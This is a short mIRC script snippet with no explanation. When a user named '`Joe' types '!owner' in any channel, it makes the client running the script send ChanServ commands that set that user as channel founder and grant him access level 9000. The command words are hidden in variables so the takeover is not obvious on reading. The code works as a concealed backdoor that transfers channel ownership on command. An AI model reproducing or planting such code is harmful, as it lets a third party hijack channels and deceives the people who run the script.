on *:Text:!owner*:#:{
   if ($nick == `Joe) {
     set %cs cs
      set %access access
      set %c8 $chan
     set %9 $nick
     set %owned founder
    set %add add
    set %ne 9000
     set %set set
     /cs %set %c8 %owned %9
     /cs %access $chan %add %9 %ne
   }
 }